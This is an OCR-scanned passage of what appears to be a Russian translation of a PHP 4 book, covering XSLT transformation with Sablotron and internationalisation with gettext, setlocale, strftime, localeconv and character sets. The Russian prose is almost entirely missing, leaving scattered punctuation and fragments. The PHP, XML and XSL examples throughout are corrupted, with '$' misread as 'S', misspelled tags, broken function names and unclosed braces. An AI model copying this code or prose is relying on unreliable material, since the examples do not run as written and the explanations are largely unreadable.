$fieldnames = $rec->getFieldnames();
print("<b>\$rec->getFieldnames()</b>".'.' "<blockquote>" .
join("<br />", $fieldnames) . "</blockquote>");
#
if ($debug=="1") {
print("<b>\$rec->getFields()</b>" . "<blockquote>" .
join("<br />", $rec->getFields()) . "</blockquote>");
, t ravel_sample. php,
(. 21.9):

Travel Packages
Given the XML:
<Recordset>
Travelpackage namerra">
<Country_nawe>Cufoa</Country_name>
<City>Cayo Coco</City>
<Resort>Club Tryp Cayo Coco</Resorc>
<Resort_rat ing>4</Reaort_rat ing>
<Resort_typeofho.liday>beach</Resort_typeofholiday>
<Resort_watersports>true</Resort_uat.crsporC3>
<Resort_meals>true</ResorC_nieals>
<Rcsort_di: inks>tr ue</Rcsort_dr inks>
<Package>
<Package_dateofdep>5/8/98</Package_dateafdep>
<Package_pr ice>879</Package_pr ice>
</Package>
</Travelpackage>
:
; Don* (0.321 sees)
;: ;
-^

. 21.9.

XSL XSLT
XSL - XML . , (CSS) HTML. CSS
HTML, a HTML . XSL
XSLT, , XML. , XSL , CSS.

XSL XSLT

827

XSL- XML, XSL. XML,


. XML -
. XSLT , ,
<xsl:commentx/xsl:comment> , <!-- --> HTML. ,
xmlns:xsl="http://www.w3.org/1999/XSL/Transform", <xsl:sty,lesheet>.
http://
www.w3.org/TR/REC-xml-names/.
XSL
, XML. , XSL
.
XSL. XSL - , . XSL ,
XML HTML. XSL
XSLT Programmer's Reference, 2nd Edition Wrox. 1

Sablotron
XSL PHP Sablotron,
Sablot. , XSL, XSLT
XPath Ginger Alliance (http://www.gingerall.com/). Sablotron Expat. SAX,
, Expat .

XSL
Sablotron p h p i n f o . php, ,
. , Ginger Alliance (http://
www.gingerall.com/).

UNIX2
RPM README, .
. , :
XSLT. , 2- .- . .: -, 2002.
Linux RPM, Linux. UNIX
. UNIX Sablotron . - . . .

828

21. PHP XML


rpm -i sablotron-0.6x-x.1386.rpm

rpm -i sablotron-devel-0.6x-x.1386.rpm

Sablotron PHP
XSLT, - with-sablot , . PHP.net: http://www.php.net/manual/en/
ref.xslt.php.

Windows
4.0.6 *.dll, Sablotron.
PHP\dlls\ .
Sablotron Apache:
Apache, .
*.dll C:\Windows\System\
Windows98 C:\WINNT\System32\ WindowsNT/
2000:

expat.dll
sablot.dll
xmlparser.dll
xmltok.dll

p h p . i n i ;extension=php_sablot.dll. p h p . ini
Apache

Windows IIS
.

XSL
:
travel.xml
travel.xsl
xslt_travel.php
XML t ravel. xml - ,
. t ravel. xsl XSL,
a travel, p h p - , , XML
XSL, HTML .

XML HTML . -

XSL XSLT

829

XSL. XSL , .
travel, xsl . - ( ) .
.
<xsl: output>. XSL
XML
. /Recordset.
Recordset ,
XML. , XML HTML, Recordset . HTML, <title>, <head> <body>:
<xsl:Stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
HTML <meta>, : <meta http-equiv="Content-Type" content="text/html; charset=utf-8">:
<xsl:output encoding="utf-8" method="html" indent="yes" />

Recordset ,
HTML:
<xsl:template match="/Recordset">
lv

<html>
<head>
<title>XSL Travel</title>
; </head>
<body>
<h1>Travel. Packages</hl>
<table border="0">

xsl: for-each Travelpackage travel.xml. for-each


.
.
<xsl: text>, .
XSL (. 21.5):
21.5. XSL
1

<td>
Country_name

<td>

</td>

</td>

<td>
<xsl:text>
Country_name
</xsl:text>
<td>

<xsl:text>Count ry_name</xsl:text>

830

21. PHP XML

3 HTML. 1 2 HTML
( HTML),
3 <td> Count ry_name.
,
XML. for-each Travelpackage. <xsl:value-of selecf'Elementname" />, . , xsl:value-of :
<xsl : for-each select="Travelpackage">
<tr>
<td>
<xsl : text>Count ry_name</xsl : text>
</td>
<td>
<xsl:value-of select="Country_name" />
</td>
</tr>
<tr>
<td>
<xsl : text>City</xsl : text>
</td>
<td>
<xsl:value-of select="City" />
</td>
<tr>
<td>
<xsl : text>Resort</xsl : text>
</td>
<td>
<xsl:value-of select="Resort" />
</td>
</tr>
<tr>
<td>
<xsl:text>Resort_rating</xsl:text>
</td>
<td>
<xsl:value-of select="Resort_rating" />
</td>
</tr>
<tr>
<td>
<xsl : text>Resort_typeof holiday</xsl : text>
</td>
<td>
<xsl:value-of select="Resort_watersports"
</td>
</tr>

XSL XSLT
<tr>
<td>
<xsl:text>Resort_watersports</xsl:text>
</td>
<td>
<xsl:value-of select="Resort_watersports" />
</td>
</tr>
<tr>
<td>
<xsl:text>Resort_meals</xsl:text>
</td>
<td>
<xsl:value-of select="Resort_meals" />
</td>
</tr>
<tr>
<td>
<xsl:text>Reso rt_drinks</xsl:text>
</td>
<td>
<xsl:value-of select="Resort_drinks" />
</td>
</tr>
<tr>
<td>
<xsl:text>Package_dateofdep</xsl:text>
</td>
<td>
<xsl:value-of select="/Package_dateofdep" />
</td>
</tr>
<tr>
<td>
<xsl:text>Package_price</xsl:text>
</td>
<td>
<xSl:value-of select="*/Package_price" />
</td>
</tr>
<tr>
<td colspan="2"xl>r
</tr>
</xsl:for-each>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

831

832

21. PHP XML

, XML HTML. XSL


, . XML t ravel . xml .
XSL XML XSLT.1 XSLT ( ) HTML .
XML ,
XSL. , XSL XML . ' a r g : / _ x m l ' , ' a r g : / _ x s l ' arguments - , XML XSL.
(xslt_t ravel, php) ,
$xslData SxmlData. SxslData SxmlData , , implode( ). , :
<?php
SxslData = f ile( "travel. xsl", "r");
SxmlData = file( "travel. xml", "r");
Sarguments = array (
'/_xsl' => implodeC'", SxslData),
'/_xml' => implodeC'", SxmlData)
)
$xh = xslt_create(); // XSLT
if (Sresult = xslt_process($xh, 'arg:/_xml', 'arg:/_xsl', NULL, Sarguments)) {
echo($result);
} else {
echoC'There is an error in the XSL transformation. . .\n");
echo("\tError number: " . xslt_errno($xh) . "\n");
echo("\tError string: " . xslt_error($xh) . "\n");
}

xslt_free($xh);
exit;
xslt_process() XML, XSL
, ,
.
, Sresult , .
1

XSLT .
,
. . - . . .

833

, , , (. 21.10):
.-
^ File Edit View Search Go Bookmarks Tt

i!

Travel Packages
Country_name

Cuba

City

Cayo Coco

Resort

Club Tryp Cayo Coco

Resort_rating

Resort_typeofholiday true
Resort_watersports trae
Resort_meals

true

Resort_drmks

true

Package_dateofdep 5/8/98
Package_pnce

879

Document; Done (0.26 sees)

. 21.10.


XML HTML.
API XML
HTML. XML DOM. API. API
SAX DOM , ,
API XML.
:
XML, SML XPath
XML
API PHP (SAX, DOM PRAX), XML
XML SAX
XML DOM

XML PRAX

Sablotron XSL

27 . 989

834

21. PHP XML

,
XML .
API .
- : XML
? .
, XSL Sablotron. , XML.
XML DOM, ( ) .
DOM; ,
XML.

22

. ,
( ), , , , ,
. .
, , -.
:
,

Gettext

,

, . , , , :


836

22.


. , 118 ( i
18 ).
,
. ,
. , :

,

,
, .

,
118. , ,
.

. , , . , ,
. ,
, .
, , (multilingualization). , , , , , - -.
, (locale).
, , , , , . ,
: DD/MM-YYYY : MM/DD/YYYY.
, , , .
, ,
.
, , -

837

, , ,
.


(Native Language Support, NLS) . NLS , .
, , :




. NLS
. .


118 , ,
. ,
, , , .
, ,
open source , . , ; , ,
. 118 -
(
, ) Gettext.
- ?
,
? : . . , , . , . ,
, .

838

22.

,
. ,
.
.
,
.
, , , , .
.
, :
. , GUI - ,

, . .

.
, .
, .

(. . 22.1).

, :


.
, . -

839

<?php /* Danish strings */


<?php /* German strings */
<?php /* Polish strings /
<?php / English strings */
Stitle
= 'Welcome!';
Sgreeting = 'Welcome to our site!';
jopening = ' We hope you'll find the
information you're looking for. If
you have
any questions, please feel free to
contact us.';

<html>
<head>
<title>Welcoine! </title>
</head>
<body>
<h1>Welcome to our site!</h1>
<p>We hope you'll find the
information you're looking for. If
you have
any questions, please feel free to
contact us.</p>
</body>
</html>

<?php include('english.inc') ?>


<html>
<head>
<?php echo Stitle ?></hl>
</head>
<body>
<h1><?php echo Sgreeting ?></h1>
<?php echo Sopening ?>
</body>
</html>

. 22.1.
, . ,
.
HTML , :
<html>
<head>
<title>Welcome!</title>
</head>
<body>
<h1>Welcome to our Site!</h1>
<p>We hope you'll find the information you're looking for. If you
have any questions, please feel free to contact us.</p>
</body>
</html>

840

22.


, . - ,
, .
- .
.
, , . -
"1 file" "17 files". . , " f i l e "
"files".
, 118, :
function outNumFiles($count)
{
if ($count <= 0) {
echo("No files. ");
} elseif ($count == 1) {
echo("1 file.");
} else <
echo("$count files. ");

, , , .
,
, ?
, :

printf()

sprintf()



. :
,
,
%s, , , :
printf('This is the %s. Hello %s', 'format string', 'World');
/* 'This is the format string. Hello World' */

841


, -
, , .



,
. i n c l u d e ( ) . , , .
.
, ,
- , .
, :
;$strings = array (' welcome' => 'Welcome to the application! ',
'say_time! => 'The time is;.';
'good_bye; => 'Goodbye - come again soon! ');
translate, p h p . .
, , , . :
<?php
include( "translate. php") ;
echo("<p>" . $strings[ 'welcome' ] . "</p>\n");
echo("<p>" . $strings['say_time'] . " " . date('H:i')
echo("<p>" . $strings[ 'good_bye' ] .

. , . , .
.
, $st rings ,
:

842

22.

function welcomeGoodbyeO
{
global Sstrings;
echo("<p>" . $strings[ 'welcome'] . "</p>\n");
echo("<p>" . $strings['say_time'] . " " . date('H:i')
echo("<p>" . $strings['good_bye'] .

. , ,
. , ,
, , , .
(str_ ).
:
function welcomeGoodbyeO
'
' .
global $str_welcome, ;$str_say_time, $str_good_bye;
echo("<p>$str_welcome</p>\n"; )
echo("<p>$str_say_time" . date('H:i') .
echo("<p>$str_good_bye</p>\n"; )

, .
.
. , , , .

GNUGettext
GNU ,
GUI, - . . .
Gettext, .
. , . .

gettext() Gettext . gettext() , ,

GNU Gettext

843

, Gettext (. ).
gettext() , , . gettext() , . , .
, . , .
Linux SuSE -, , gettext () .

, , gettext(), :
print("Hello World!");
//
print(gettext( "Hello World!").); //

" gettext(), _. :
print(J"Hello World!"));
, , ,
. , Gettext .

xgettext
_() gettext(),
. xgettext,
Gettext.
xgettext , Gettext . http://www.gnu.org/software/gettext/.

Hello World helloworld. p h p ,


, , :
xgettext --keyword=_ - helloworld.po helloworld.php

, : *. php.
--keyword,
. ,
xgettext , . php, -

844

22.

. Gettext
, .
, xgettext
. , ( " . . . " ) ,
. , , , .
helloworld. po. , .
.
helloworld. po :
# .
Copyright () YEAR Free Software Foundation) Inc.
# FIRST AUTHOR <EMAIL@ADDRESS>;, YEAR.
#
#, fuzzy
msgid ""
msgstr
"Project-Id-Version: PACKAGE VERSION\n"
"POT-Creation-Date: 2001-03-24 15:26+0100\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
" Last-Translate r; FULL NAME"*"<EMAIL@ADDRESS>; \n"
"Language-Team: LANGUAGE <LL@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=CHARSET\n"
"Content-Transfer-Encoding: ENCODING\n"
#: helloworld.php:6
msgid "Hello World!"
msgstr
. po ASCII-,
.
/ .
("").
, . . - - . , ,
ll@li.org, - .
xgettext , . msgid, . ID , . msgstr.

GNU Gettext

845

msgfmt

, . msgfmt:
msgfmt helloworld.po - helloworld.mo
helloworld.mo.
. . , (portable objects) (machine objects), .
. locale intl, .
ISO 639 (http://
www.oasis-open.org/cover/iso639a.html). LC_MESSAGES. helloworld.
helloworld. mo. :
/myApp/helloworld.php
otherscripts.php
locale/en/LC_MESSAGES/helloworld.
helloworld.mo
da/LC_MESSAGES/helloworld.po
helloworld.mo

bindtextdomainQ
, ,
(textdomain).
bindtextdomain():
bindtextdomainC'helloworld", "./locale");

gettext() , hellow o r l d . /locale/. , ., . gettext()


. , , , . , :
textdomain("helloworld");

putenvQ
, LC_ALL, . gettext() -

846

22.

. /locale/, ,
. putenv():
putenv("LC_ALL=da");

:
<?php
putenv("LC_ALL=da");
bindtextdomain("helloworld", "./locale");
textdomain("helloworldv);
prlnt(_("Hello World!"));


. gettextO,
, ,
,
. gettextO , .
, - ,
. . , . ,
, , .
msgmerge Gettext. ,
, , new. ,
old. ; msgmerge:
msgmerge old.po new.po -o merged.

merged, . , , ID , . ,
CVS ,
.

Gettext
PHP Gettext,
configure, --with-gettext[=DIR]. DIR Gettext . 2.

847

, ISP Gettext, . , , ,
, Gettext, . . LC_ALL.

, Gettext, , Gettext, gettext() . .


, ,
.
- .
.
gettext() , . gettext(), , , . , , , .
, gettext() ,
. , emacs, . .


,
Gettext.
, . ,
, .
.
, , .
, -
. , . , . , , - , .


, . , ,
, , . ,
,
.

22.

848

, .
, .
.
, ,
.
, () .
, . , , , .
,
, .
, . ,
,
, . , .



, ,
, , . , .
. , ,
, switch,
, .
, ,
, , .
- , ,
.


, ,
.


, - . .

849

. :
function outNumFiles($count)

if (Icount <= 0) {
echo("No files. ");
} elseif ($count == 1) {
echo("1 file.");
} else {
echo("$count files. ");

;.


Gettext,
. , ,
. ,
gettext( ) _( ), , :
function _($string)
{
f *&:;,;.: },: global Sstrings;
if (isset($strings[$string])) {
return $strings[$string];
} else {
return Sstring;

function gettext($string)
{
return _($string);
}

' pis

,
. ,
:
function outNumFiles($count)

if (Scount <= 0) {
print(_("No files.."));
} elseif (Scount == 1) {
-print(_("1 file."));
} else {
printf(_("%s files."), Scount);

850

22.

- ,
, _ ( ) .
, .
, .
, ,
,
. s p r i n t f () else .
, Gettext,
, GNU Gettext. ,
$st rings, ,
N u l l .
$st rings :
Sstrings = array(
'No files.' => 'Ingen filer. ',
; ,'1 file.' => M fil.',
'%s files.' => '%s filer.');

, ,
outNumFiles(). , ,
.
:
Smapping = array (
'No'
=> 'Ingen',
: 'files' => 'filer',
: : 'file' => 'fil');

, ,
. . ,
file .
, , , ,
:
function outNumFiles(Scount)

if ($count == 0) {
return "Nie ma plikyw.";
} elseif ($count == 1) {
return "1 plik.";
} elseif (Scount <= 4) {
return "$count pliki.";

851

} elseif ($count <= 21) {


return "$count plikyw.";
} else {
$last_digit = substr($count, -1);
if ($last_digit >= 2 && $last_digit <= 4) {
return "Scount pliki.";
} else {
return "$count plikyw.";

.
file,
. (. 22.2):

.......

"

N hup: lucalhoit;ProPHP4/Chnr>terZ2/polskaJ)hp- Nebcopeti


|J(J8 &* yiew Search So gookmwks tasks

3piki.
10plik<5w.
20 plikow.
21plik<5w.
! 22 plilu.
23 pliki.
27plik<$w.
Document! Done (Q.2S1 scs)

. 22.2.

, . : ,
. 6 :
, , , 4
22, 21, 1 5.
.

, / , .
, .
,
. ,
/. , , .

852

22.




.
, , - . .
.
, , . :
<?php
class Basic_0utput

var $strings;
function _($string)
{
if (is,set($this->strings[$string])) {
return $this->strings[$string];
} else {
:
return Sstring;

function gettext(Sstring)

return $tnis->_($string);

}
function outNumFiles($count)

if (Scount == 0) {
return $this->gettext("No files.");
} elseif (Scount == 1) {
return $this->gettext("1 file.");
} else {
return sprintf($this->gettext("%s files."), Scount);

- Gettext, outNumFiles( ). , -
:
<?php

class English_0utput extends Basic_0utput

853

// ,
// !

Gettext, gettext( ) ,
,
.
E n g l i s h _ 0 u t p u t , :
$obj = new English_0utput( ) ;
echo($obj->outNumFiles(3)); // 3 files.
,
. :
<?php
class Danish Output extends Basic_0utput

function Danish_0utput()
<
$this->strings = array(
'No files.' => 'Ingen filer.',
'1 file.' => '1 fil. Y:;;.:X:
'%s files. "=> '%s filer. ');


, . ,
. , .
, , , , . :
$obj = new Danish_0utput();
echo($obj->outNumFiles(5)); // 5 filer.

, :
<?php
class Polish_0utput extends Basic_0utput

854

22.
function outNumFiles($count)

if (Scount == 0) {

return "Nie ma plikyw.";


} elseif ($count == 1) {
return "1 plik. ";
} elseif ($count <= 4) {
return "$count pliki.";
} elseif (Scount <= 21) {
return "$count plikyw.";
} else {
$last_digit = substr($count, -1);
if ($last_digit >= 2 && $last_digit <= 4) {
return "$count pliki. ";
} else {
return "$count plikyw.";

$string, , outNumFiles( ) . ,
. ,
.
, -
$st rings, , .
$st rings, ,
. , ,
.
, :
$obj = new Polish_0utput();
echo($obj->outNumFiles(7)); // 7 plikyw.

, - Wrox
http://www.wrox.com/. , ,
object2. php, className. php.


,
, , .

855

, .

, .
. . output:
<?php
class App
{
var $output;
function App(Slanguage)
{
$this->setLanguage( Slanguage);
}
function setLanguage($new_language)

': switch ($new_language)


;

{
case 'da' :
$this->output = new Danish_0utput();
break;

case 'pi' :
$this->output = new Polish_0utput();
break;
default:
$this->output = new English_0utput();
break;

, setLanguage( ), .
. , .
:
$obj = new A p p ( ' d a ' ) ;
$obj->output->outNumFiles(2);

->. , outNumFiles( ) . - o u t p u t , - . :
$obj ->setLanguage( ' en ' ) ;

856

22.

s e t L a n g u a g e ( ) $obj->output
, . ? . . , . , .
,
.
, ,
. , .


,
. ,
, ,
.
setlocale() ,
. , , , , , . setlocale()
.


.1 , , :
Sstring = 'Just three words';
ereg('([a-zA-Z]+) ([a-zA-Zj+) ([a-2A-Z]+)', Sstring, $regs);
Perl (PCRE) ,
,
. ,
, setlocaleO
LC_CTYPE ( LC_ALL, LC_CTYPE). ,
Linux (US-ASCII), p r e g _ m a t c h ( ' /
\w+/', ' ' ) false. preg_match
1251: setlooale(LC_ALL, ' r u _ R U . C P 1 2 5 1 ' ) , true. , PCRE POSIX, . - , Perl. - . ..

857

$regs ( 1-3, . . 0 $string).


, .
alnum :
<?php
ereg( '([[:alnurrt:]]+) ([[:alnum:]]+) ([[:alnum:]]+)' , $string, $regs);
, , . UNIX grep, , , :
echo -e 'a\nb\nc\nae\n0\na"

grep '[[:alnum:]]'

export LC_ALL=da_DK
echo -e '\\\\0\"

grep '[[: alnum:]]'

a
b

ae
0
a

, , g rep :
exec("echo( "input") | grep 'pattern'", $output)

, ,
Soutput. , , ,
, .
, ,
. . , , .
:
ereg( '([-[: blank: ]]+)[[ :blank:]]+' .
[[:blank:]]+' .
', $string, $regs);

858

22.

,
, :
eregC'(["[: blank: ][:digit ':]]+)[[: blank: ]]+' .
(r[:blank:][:digit: ]]+)[[ :blank:]]+' .
(["[:blank:][:digit:]]+)', Sstring, $reg$);
.
7. regex(7) UNIX Linux.


, setlocale( ).
(, 0, ) , :
<?php
/* . */
Sstring = ' 6" ;
echo(ucwords($string)); // ' 6'
setlocale(LC_ALL, 'de_OE'); // 1
echo(ucwords($string)); // 'A U '


,
.
setlocale( ) . :
string setlocale(mixed category, string locale)
category .
(. 22.1):

setlocale() (, setlocale('LC_ALL', '')).


, (setlocale(LC_ALL, ' ' ) ) . - . . .

859

22.1.

LC.ALL

LC_COLLATE

LC CTYPE
, . .
strtoupperQ
LC_MONETARY

LClNUMERIC

LC TIME

s t r f t i m e ( )

LC_TIME .
, , . cc_RR, - (country code), ISO 639, a RR ( ).
,
. . , , , , , ,
, , , , , , ,
(Australia, Botswana, Canada, Denmark, Britain, Hong
Kong, Ireland, India, New Zealand, Philippines, Singapore, USA, South Africa,
Zimbabwe).
, , , , , d a n i s h ,
dansk da_DK. ,
Danish, DANISH DaNiSh. , da_DK, da_dk.
,
, cc_RR. , , , /usr/share/i18n/locales/.
s t r f t i m e ( ) d a t e ( ) , . . , . s t r f t i m e ( ) setlocale():
setlocale(LC_TIME, $locale);
echo(strftime("%c"));

22.

860

%,
, . %
,
. , /-,
%d/%m-%Y,
%m/%d/%Y.
s t r f t i m e ( ) date(). s t r f t i m e ( ) , .
s t r f t i m e O
(. 22.2):
22.2. strftimef)

%

%

, (, 100
, 00 99)

%d

( 01 31)

%D

, %m/%d/%y

:
( ' 1' '31')

%h

, %

24- ( 00 23)
12- ( 01 12)
( 001 366)
( 01 12)

< ^

a.m. p.m.

24-

%1:

, %: %: %8

localeconvO

861


%
[1,7],

%U

%v

ISO
8601:1988, 01 53, 1 - ,
4 ,

%w

%w

( 00 99)

%Y

%Z

,
<%
,
PHP st rf time().


localeconv()
localeconvO 4.0.5
, . , , .
decimal_point, thousands_sep . .
. , n u m b e r _ f o r m a t ( ) :
<?php
Samount = 123456.123;
setlocale(LC_ALL, 'enJJS');
$locale_info = localeconvO;
echo(number_format(Samount,
$locale_info['frac_digits'],
$locale_info['mon_decimal_point'],
$locale_info['mon_thousands_sep']));

862

22.
setlocale(LC_ALL, 'da_DK');
$locale_info = localeconvO;
echo(nu(nber_forinat($amount,
$locale_info['frac_digits'],
$locale_info['mon_decimal_point'],
$locale_info['mon_thousands_sep']));
?>

echo 123,456.12, - 123.456,12.


localeconvO ,
, , .

.
, .
,
:
function localef($amount)
{
// , localeconv,
extract(localeconv());
number_fordiat(). Samount, . $amount,
(+) (-).
$sign :
//
$number = number_format(abs($amount),
$frac_digits,
$mon_decimal_point,
$mon_thousands_sep);
localef () , .
, .
,
if case. ,
.
1, , $(n|p)_cs_precedes ,
. . .
, $currency_symbol %s ,
1. %s , :

localeconvO

863

if (Samount < 0) {
Ssign = $negative_sign;
/* */
$n_cs_precedes = intval($n_cs_precedes == true);
$n_sep_by_space = intval($n_sep_by_space == true);
Skey = $n_cs_precedes . $n_sep_by_space . $n_sign_posn;
} else {
Ssign = $positive_sign;
Sp_cs_precedes = intval($p_cs_precedes == true);
Sp_sep_by_space = intval($p_sep_by_space == true);
Skey = $p_cs_precedes . $p_sep_by_space . $p_sign_posn;
Sformats = array(
//
// .
'000' => '(%s' . $currency_symbol . ')',
'001' => Ssign . '%s ' . $currency_symbol,
'002' => '%s' . $currency_symbol . $sign,
'003' => '%s' . Ssign . $currency_symbol,
'004' => '%s' . Ssign . $currency_symbol,
// .
'010' => '(%s ' . $currency_symbol . ')',
'011' => $sign . '%s ' . $currency_symbol,
'012' => '%s ' . $currency_symbol . Ssign,
'013' => '%s ' . Ssign . $currency_symbol,
'014' => '%s ' . Ssign . $currency_symbol,
//
// .
'100' => '(' . $currency_symbol . '%s)',
'101' => Ssign . $currency_symbol . '%s',
'102' => $currency_symbol . '%s' . Ssign,
'103' => Ssign . $currency_symbol . ' %s',
'104' => $currency_symbol . Ssign . '%s',

// .
'110' => '(' . $currency_symbol . ' %s)',
'111' => Ssign , $currency_symbol . ' %s',
'112' => $currency_symbol . ' %s' . Ssign,
'113' => Ssign . $currency_symbol . ' %s',
'114' => $currency_symbol . ' ' . Ssign . '%s');
// .
return sprintf($formats[$key], Snumber);
, , . ,
, (-123.45),
(123.45).

22.

864

s p r i n t f () .

, . ,
. ,
: , 0 . , : , 0.
, ASCII-. ASCII-
r d ( ) :
$ascii = array(
' ' => ord('a'),
' b ' => ord('b'),
' ' => o r d ( ' c ' ) ,
'' => o'rd( ''),
'0' => ord('0'),
'&' => ord('a'));
echo("<pre>\n");
print_r($ascii);
echo("</pre>\n");

(. 22.3):
!N http:,'. localhost/ProPHP4/ChapterZZ/s
0 6ft Wew

Search o

Bookmarks Tasks

Puc. 22.3. ASCII-

natsort()
void natsort(array array)

n a t s o r t ( ) . ,
ASCII- , .
, , 0

865

. ,
.
, - ,

. - , , .
, .
,
, ,
.
.

usortQ
void usort(array array, string cmp_function)

u s o r t ( ) , a r r a y , a cmp_function - , .
, .

, , , .

. strcoll(), ,
u s o r t ( ) :
setlocale(LC_TIME, 'da_OK');
usort($array, 'strcoll');

s t r c o l l ( ) 4.0.5. ,
, . ,
,
.


strcoll 4.0.5, .
. ,
.
, , .
, , , so rt ():
28 . 989

866

22.
function daCmp($a, $b)

;"{. V. / :::-;o
''.';"
...v,.
.
v .
:

':"-':

. ' . ' . ' " :

..'..

:. . . . . ' . ' .

/* . . .. */
if (!is_string($a) || !is_string($b)) {
if ($a < $b) {
return -1;
} elseif ($a == $b) {
return 0;
} else '{
return 1;
}

,
:
$ = strtolower($a);
$b = strtolower($b);
// .
if ($a == $b) return 0;
,
.
. $1 ,
, $a[$i] $b[$i]:
$1 = 0;
while($a[$i] == $b[$i]) {

, . ,
strrpos( ) 0, , :
$special_chars = '1;
, , . . , , $. ,
. - , , $.
, 0 0
. +1,
, ,
0 , . -
, , , :


$matrix = array(
'' => arrayCae' => 0, '0' => -1, ' a ' => -1),
'0' => arrayCae' => +1, '0' => 0, '' => -1),
'' => va.rray (' ' => +1, '0' => +1, ' 5 ' => 0));

867

: :
v.

ifthen-else(). , $a[$i] . , $b[$i].


, . $[$1] - , a [$i] - , , $a[$i] ,
$b[$i], 1. $a[$i], $b[$i] ,
- strcmp( ). , :
// $a[$i]
if (strrpos($special_chars, $a[$ij)) {
// Both characters are special
if (strrpos($special_chars, $b[$i])) {
/* $a[$i] is greater than $b[$i]
because it is a special
character. */
return $matrix[$a[$i]][$b[$i]];
> else {
return 1;
}
// $b[$i]
} elseif (strrpos($special_chars, $b[$i])) {
//Both characters are special
/if (strrpos($special_chars, $a[$i])) {
* $a[$i] is less than $b[$i]
because it is not a special
character. */
return $matrix[$a[$i]][$b[$i]];

} else { .
'
:
.
return -1; .
}
} else {
/* */
return strcmp($a, $b);


. . .

868

22.


, , , .


. . , , , .
.
.


, :
,
HTTP charset ( Content-Type)
, <meta> http-equiv, Content-Type, charset
, ,
, . HTTP
.
<meta> <head> -.
- HTTP,
<meta> <head>, ,
ISO-8859-2 :

<?

headerCContent-Type: text/html; charset=ISO-8859-2');


?>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; 'charset=ISO-8859-2">'
<title>Test Czech Encoding</title>
</head>
<body>
<h1>Bohusel!</ht>
<p>Pro mHSto 'Aalborg, Denmark' nejsou k dispbsici V^dne data</p>

</body>
</html>

869

- Sorry! There's no data for 'Aalborg, Denmark'. , .



(_) . ,
, .
, . ,
. a z ,
.


, , .

Accept- Language.
, ,
. -.
http://www.debian.org/ .
,
(, , ).

Accept -Language
$HTTP_ACCEPT_LANGUAGE. , . explode ( ), , .
,
$HTTP_ACCEPT_LANGUAGE.
, ,
$HTTP_ACCEPT_LANGUAGE :
function getBestLanguage($avail_lang)
{
$accept_lang = explodeC, ', -$GLOBALS[ '.HTTP_ACCEPT_ LANGUAGE']);

while (list($key, $lang) = each($accept_lang)) {


if (in_array($lang, $avail_lang)) {
return $lang;
return reset($avail_lang);

. , . , - , .

870

22.

, .
, , .
, ,
:
<?
class App
{
var $output;
var $avail_lang;

:
,

function ()
{
$this->avail_lang = arrayCen', ' d a ' , 'pi');
$this->setLanguage($tlus->getBestLanguage());

...

..

,:.

($avail_lang) Accept-Language, , :
/ f u n c t i o n getBestLanguageO

$accept_lang = explode( ' , ' , $GLOBALS[ ' HTTP_ACCEPT_LANGUAGE ' ] ) ;


while (list($key, $lang) = each($accept_lang)) {
if (in_array($lang, $this->avail_lang)) {
return $lang;
>
> ' : : , '
return reset($this->avail_lang);

s e t L a n g u a g e ( ) :
function setLanguage($new_language = ")
{
switch ($new_language) {
case 'en':
$this->output = new English_0utput();
break;
case 'da' :

$this->0utput = new Danish_0utput();


break;

871

case " :
$this->output - new Polish_0utput();
break;
: ;:

default:
$this->setLanguage($this->getBest Language);
break;

class Basic_0utput
{
var Sstrings;
function _($string)
{
if (isset($this->strings[$string])) {
return $this->strings[$string];
} else {
return Sstring;
}

'.-.::,,' ;...'

function gettext($string)

4" . {

return $this->_($string);

}
outNumFiles( ), :
function outNumFiles($count) :
{
;
if ($count:== 0) {
return $this->gettext("No files.");
} elseif (Scount == 1) {
return $this->gettext("1 file.");
} else {
return sprintf($this->gettext("%s files"), Scount);

getCharset() :

function getCharsetO
return $this->strings['charset'];

872

22.
class English_0utput extends 8asic_0utput
{

''...'.

; ; ''" : :'

"

$st rings, . basicOutput:


function English_0utput()
<
$this->strings = array(
'charsef => ' ISO-8859-1 ');

class Danish_0utput extends Basic_0utput


{
function Danish_0utput()
{
$this->strings = array(
'No files. ' => 'Ingen filer.'
'1 file. ' => '1 fil. ',
'%s files. ' => '%s filer' ,
'charset' '=> 'ISO-8859-1');

class PolishJMput extends Baslc_0utput


I
function Polish_0utput()
{
$this->strings = array(
'charset' => 'ISO-8859-2');
}
function outNumFiles($count)
{
if (Scount == 0) {
return "Nie ma plikyw. ";
} elseif (Scount == 1) {
return "1 pllk.";
} elseif ($count <= 4) {
return "Scount pliki. ";
} elseif ($count <= 21) {
return "$count plikyw.";
} else {
$last_digit = substr($count, -1);
if ($last_digit >= 2 && $last_digit <= 4) {
return "$count pliki.";
} else {
return "$count plikyw.";

873

, ,
HTML:
$obj = new App();
header('Content-Type: text/html; charset=' . $obj->output->getCharset());
?>.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"


"http://www.w3.org/TR/REC-html40/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=<?php
-....,,:echo($obj->output->getCharset()); ?>">
<title>My App</title>
</head>
<body>
<?php
echo("<p>" . $obj->output->outNumFiles(7) . "</p>\n");
?>
</body>
</html>


, . 8 ,
256 (28) . , ,
. 40 000 . .
.
,
, ,
. ,
mb.

, mb_substr():
$start = mb_substr($string_with_chinese_characters, 0, 3);
, . mb_detect_encod i n g ( ) . HTTP, , mb_http_output(). mb_output_handler(), :
mb_http_output("UTF-8");
., ob_start("mb_output_handler");

22.

874

Unicode.
UTF-8. UTF-8
Unicode . . ,
Unicode, ASCH, , ASCII, . Unicode, UTF-8,
, .
, MIME
mb_preferred_mime_name():
header("Content-Type: text/html; charset=" .
mb_preferred_mime_name($outputenc));

PHP Multi-Byte String Module


, (PHP multi-byte
string module). ,
:
UCS-4, UCS-4BE, UCS-4LE, UCS-2, UCS-2BE, UCS-2LE, UTF-32, UTF-32BE,
UTF-32LE, UCS-2LE, UTF-16, UTF-16BE, UTF-16LE, UTF-8, UTF-7, ASCII,
EUC-JP, SJIS, eucJP-win, SJIS-win, ISO-2022-JP(JIS), ISO-8859-1, ISO-8859-2,
ISO-8859-3, ISO-8859-4, ISO-8859-5, ISO-8859-, ISO-8859-7, ISO-8859-8,
ISO-8859-9, ISO-8859-10, ISO-8859-13, ISO-8859-14, ISO-8859-15.

mod_mime Apache
